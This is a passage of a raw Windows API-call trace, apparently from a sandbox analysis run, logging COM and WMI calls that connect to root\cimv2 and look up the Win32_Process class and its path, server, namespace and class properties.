(This=0x1bcc4dc0) returned 0x3 [0159.861] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4dc0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0159.861] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4dc0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0159.861] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4dc0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0159.861] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0159.861] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0159.861] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4dc0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0159.862] WbemLocator:IUnknown:Release (This=0x1bcc4dc0) returned 0x2 [0159.862] WbemLocator:IUnknown:Release (This=0x1bcc4dc0) returned 0x1 [0159.862] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0159.862] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0159.862] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4dc0, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bcc4dc0) returned 0x0 [0159.862] WbemLocator:IUnknown:AddRef (This=0x1bcc4dc0) returned 0x3 [0159.862] WbemLocator:IUnknown:Release (This=0x1bcc4dc0) returned 0x2 [0159.862] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fe00, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0159.862] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fe00, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0159.862] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fe00, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.862] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1bcc4fa0) returned 0x0 [0159.862] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bcc4fa0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bc56bc0) returned 0x0 [0160.053] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc56bc0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1bbdd400) returned 0x0 [0160.053] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bbdd400, pProxy=0x1bc56bc0, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0160.053] WbemLocator:IUnknown:Release (This=0x1bbdd400) returned 0x1 [0160.053] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc56bc0, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1bbdd440) returned 0x0 [0160.053] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc56bc0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1bbdd400) returned 0x0 [0160.053] WbemLocator:IClientSecurity:SetBlanket (This=0x1bbdd400, pProxy=0x1bc56bc0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0160.054] WbemLocator:IUnknown:Release (This=0x1bbdd400) returned 0x2 [0160.054] WbemLocator:IUnknown:Release (This=0x1bbdd440) returned 0x1 [0160.054] CoTaskMemFree (pv=0x1bc194d0) [0160.054] WbemLocator:IUnknown:AddRef (This=0x1bc56bc0) returned 0x2 [0160.054] WbemLocator:IUnknown:Release (This=0x1bcc4fa0) returned 0x0 [0160.054] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0160.055] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0160.055] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc56bc0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1bbdd410) returned 0x0 [0160.055] WbemLocator:IRpcOptions:Query (in: This=0x1bbdd410, pPrx=0x1bcc5000, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0160.055] WbemLocator:IUnknown:Release (This=0x1bbdd410) returned 0x2 [0160.055] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0160.055] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0160.055] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc56bc0, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bc56bc0) returned 0x0 [0160.055] WbemLocator:IUnknown:Release (This=0x1bc56bc0) returned 0x2 [0160.055] SysStringLen (param_1=0x0) returned 0x0 [0160.055] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fe00, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0160.055] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fe00, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0160.055] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fe00, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.055] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40280, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0160.055] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40280, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0160.056] IWbemServices:GetObject (in: This=0x1bc56bc0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1bbb7380, ppCallResult=0x0) returned 0x0 [0160.059] IWbemClassObject:Get (in: This=0x1bbb7380, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0160.060] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0160.060] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0160.060] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0160.060] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0160.060] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0160.060] IUnknown:Release (This=0x1a943398) returned 0x1 [0160.062] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1bcc4fa0) returned 0x0 [0160.062] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc4fa0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0160.062] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc4fa0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1bc3fd40) returned 0x0 [0160.063] WbemDefPath:IUnknown:Release (This=0x1bcc4fa0) returned 0x0 [0160.063] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fd40, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1bc3fd40) returned 0x0 [0160.063] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fd40, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0160.063] WbemDefPath:IUnknown:AddRef (This=0x1bc3fd40) returned 0x3 [0160.063] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fd40, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0160.063] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fd40, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0160.063] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fd40, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1bcc4fc0) returned 0x0 [0160.063] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc4fc0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0160.063] WbemDefPath:IUnknown:Release (This=0x1bcc4fc0) returned 0x3 [0160.063] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0160.063] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0160.063] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fd40, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0160.064] WbemDefPath:IUnknown:Release (This=0x1bc3fd40) returned 0x2 [0160.064] WbemDefPath:IUnknown:Release (This=0x1bc3fd40) returned 0x1 [0160.064] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0160.064] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0160.064] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fd40, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bc3fd40) returned 0x0 [0160.064] WbemDefPath:IUnknown:AddRef (This=0x1bc3fd40) returned 0x3 [0160.064] WbemDefPath:IUnknown:Release (This=0x1bc3fd40) returned 0x2 [0160.064] WbemDefPath:IWbemPath:SetText (This=0x1bc3fd40, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0160.064] IWbemClassObject:Get (in: This=0x1bbb7380, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0160.064] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0160.064] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0160.064] IWbemClassObject:Get (in: This=0x1bbb7380, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0160.064] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0160.065] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0160.065] IWbemClassObject:Get (in: This=0x1bbb7380, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0160.065] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0160.065] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0160.065] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0160.065] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0160.065] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0160.065] IUnknown:Release (This=0x1a943398) returned 0x1 [0160.067] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bcc46c0) returned 0x0 [0160.068] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc46c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0160.068] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc46c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc3fbc0) returned 0x0 [0160.068] WbemDefPath:IUnknown:Release (This=0x1bcc46c0) returned 0x0 [0160.068] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fbc0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc3fbc0) returned 0x0 [0160.068] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fbc0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0160.068] WbemDefPath:IUnknown:AddRef (This=0x1bc3fbc0) returned 0x3 [0160.068] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fbc0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0160.068] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fbc0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0160.068] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fbc0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bcc4740) returned 0x0 [0160.068] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc4740, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0160.068] WbemDefPath:IUnknown:Release (This=0x1bcc4740) returned 0x3 [0160.068] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0160.069] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0160.069] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fbc0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0160.069] WbemDefPath:IUnknown:Release (This=0x1bc3fbc0) returned 0x2 [0160.069] WbemDefPath:IUnknown:Release (This=0x1bc3fbc0) returned 0x1 [0160.069] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0160.069] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0160.069] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fbc0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc3fbc0) returned 0x0 [0160.069] WbemDefPath:IUnknown:AddRef (This=0x1bc3fbc0) returned 0x3 [0160.069] WbemDefPath:IUnknown:Release (This=0x1bc3fbc0) returned 0x2 [0160.069] WbemDefPath:IWbemPath:SetText (This=0x1bc3fbc0, uMode=0x4, pszPath="") returned 0x0 [0160.069] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0160.069] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0160.069] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0160.069] IUnknown:Release (This=0x1a943398) returned 0x1 [0160.071] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bcc46c0) returned 0x0 [0160.071] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc46c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0160.071] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc46c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc3fa40) returned 0x0 [0160.071] WbemDefPath:IUnknown:Release 